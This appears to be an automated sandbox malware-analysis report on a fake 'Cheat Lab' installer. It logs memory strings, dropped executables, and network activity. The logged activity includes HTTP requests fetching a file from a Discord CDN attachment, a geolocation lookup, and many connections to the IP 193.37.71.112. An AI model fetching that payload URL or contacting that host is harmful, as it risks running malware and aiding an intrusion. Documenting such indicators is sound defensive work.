Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: connect.exe, connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: LuaJIT.exe, 00000009.00000003.1935036216.0000022EB5AC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txt
Source: connect.exe, connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: connect.exe, connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: LuaJIT.exe.2.dr	String found in binary or memory: https://luajit.org/
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: connect.exe	String found in binary or memory: https://www.ecosia.org/new
Source: connect.exe	String found in binary or memory: https://www.ecosia.org/newt
Source: connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: connect.exe, connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: global traffic	HTTP traffic detected: GET /attachments/1166694393298817025/1171047481182793729/2.txt HTTP/1.1User-Agent: SunCache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=5TVRDgPAgt7sc6gsEttnfN0eDDrfzltqZkEmXeQrSGI-1699281311-0-Ach3L7F2jrD2g1+SXtBkwMSCeBQHpGNsVTTE68SlkNmKmSeVEdy1XlrN3NZRaM5Usel7HW4WuQx/wkDdjnJvM5Q=; _cfuvid=raqL3qnypn7be7P8ZI1DqIF7wMtLn1AIkoosLiGT3OU-1699281311839-0-604800000
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: SunHost: ip-api.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/1166694393298817025/1171047481182793729/2.txt HTTP/1.1Content-Type: application/jsonUser-Agent: SunHost: cdn.discordapp.comCache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710

Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112
Source: unknown	TCP traffic detected without corresponding DNS query: 193.37.71.112

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.8:49710 version: TLS 1.2

System Summary

Drops large PE files

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

File dump: connect.exe.9.dr 1074015689

Jump to dropped file

Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F36A50	6_2_00F36A50
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F6F032	6_2_00F6F032
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F5C2CA	6_2_00F5C2CA
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F692A9	6_2_00F692A9
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F5E270	6_2_00F5E270
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F684BD	6_2_00F684BD
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F5A587	6_2_00F5A587
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F6D8D5	6_2_00F6D8D5
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F3C870	6_2_00F3C870
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F54920	6_2_00F54920
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F5A915	6_2_00F5A915
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F60A48	6_2_00F60A48
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F39CC0	6_2_00F39CC0
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F65D6D	6_2_00F65D6D
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B00691	9_3_00007FF734B00691
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B037C8	9_3_00007FF734B037C8
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B028C0	9_3_00007FF734B028C0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B0D0F3	9_3_00007FF734B0D0F3
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B09615	9_3_00007FF734B09615
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B0D9AE	9_3_00007FF734B0D9AE
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B056FC	9_3_00007FF734B056FC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B0877F	9_3_00007FF734B0877F
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B0D081	9_3_00007FF734B0D081
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B0671B	9_3_00007FF734B0671B
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B07F7A	9_3_00007FF734B07F7A
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_3_00007FF734B0D646	9_3_00007FF734B0D646
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A5CA40	9_2_00007FF738A5CA40
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF7924	9_2_00007FF738AF7924
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE7970	9_2_00007FF738AE7970
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A8BAD0	9_2_00007FF738A8BAD0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF7A40	9_2_00007FF738AF7A40
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A4BA90	9_2_00007FF738A4BA90
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B1BBD8	9_2_00007FF738B1BBD8
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE7BF4	9_2_00007FF738AE7BF4
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A61B50	9_2_00007FF738A61B50
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AB9B60	9_2_00007FF738AB9B60
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF7B60	9_2_00007FF738AF7B60
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A4BC30	9_2_00007FF738A4BC30
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF7C7C	9_2_00007FF738AF7C7C
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A83C60	9_2_00007FF738A83C60
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE7E90	9_2_00007FF738AE7E90
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738ABC000	9_2_00007FF738ABC000
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B0FF70	9_2_00007FF738B0FF70
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE80F8	9_2_00007FF738AE80F8
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B131F4	9_2_00007FF738B131F4
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A91180	9_2_00007FF738A91180
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF5184	9_2_00007FF738AF5184
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AD5160	9_2_00007FF738AD5160
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AFB448	9_2_00007FF738AFB448
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B055C4	9_2_00007FF738B055C4
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A8D6B0	9_2_00007FF738A8D6B0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B0B6BC	9_2_00007FF738B0B6BC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AAF650	9_2_00007FF738AAF650
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B1175C	9_2_00007FF738B1175C
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B05740	9_2_00007FF738B05740
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AD9910	9_2_00007FF738AD9910
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AFB8FC	9_2_00007FF738AFB8FC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B129E0	9_2_00007FF738B129E0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A56A00	9_2_00007FF738A56A00
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE8948	9_2_00007FF738AE8948
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738ADAB00	9_2_00007FF738ADAB00
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A56BC0	9_2_00007FF738A56BC0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE8C14	9_2_00007FF738AE8C14
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B0ACB0	9_2_00007FF738B0ACB0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B12C74	9_2_00007FF738B12C74
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF4C84	9_2_00007FF738AF4C84
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AECD1C	9_2_00007FF738AECD1C
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738ABAD60	9_2_00007FF738ABAD60
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B06FC4	9_2_00007FF738B06FC4
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AF7080	9_2_00007FF738AF7080
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B082B0	9_2_00007FF738B082B0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A82290	9_2_00007FF738A82290
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE8374	9_2_00007FF738AE8374
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AEC4CC	9_2_00007FF738AEC4CC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B004E8	9_2_00007FF738B004E8
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B0C47C	9_2_00007FF738B0C47C
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AD4530	9_2_00007FF738AD4530
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738AE8654	9_2_00007FF738AE8654
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B128FC	9_2_00007FF738B128FC
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B04828	9_2_00007FF738B04828
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A9287E	9_2_00007FF738A9287E
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FDFFCA40	18_2_00007FF6FDFFCA40
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0AFF70	18_2_00007FF6FE0AFF70
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE05C000	18_2_00007FF6FE05C000
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0880F8	18_2_00007FF6FE0880F8
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE087E90	18_2_00007FF6FE087E90
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE001B50	18_2_00007FF6FE001B50
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE097B60	18_2_00007FF6FE097B60
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE059B60	18_2_00007FF6FE059B60
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE087BF4	18_2_00007FF6FE087BF4
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0BBBD8	18_2_00007FF6FE0BBBD8
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FDFEBC30	18_2_00007FF6FDFEBC30
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE023C60	18_2_00007FF6FE023C60
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE097C7C	18_2_00007FF6FE097C7C
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE087970	18_2_00007FF6FE087970
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE097A40	18_2_00007FF6FE097A40
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FDFEBA90	18_2_00007FF6FDFEBA90
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE02BAD0	18_2_00007FF6FE02BAD0
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A5740	18_2_00007FF6FE0A5740
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0B175C	18_2_00007FF6FE0B175C
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE079910	18_2_00007FF6FE079910
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE09B8FC	18_2_00007FF6FE09B8FC
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE097924	18_2_00007FF6FE097924
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE0A55C4	18_2_00007FF6FE0A55C4
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE04F650	18_2_00007FF6FE04F650
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FE02D6B0	18_2_00007FF6FE02D6B0
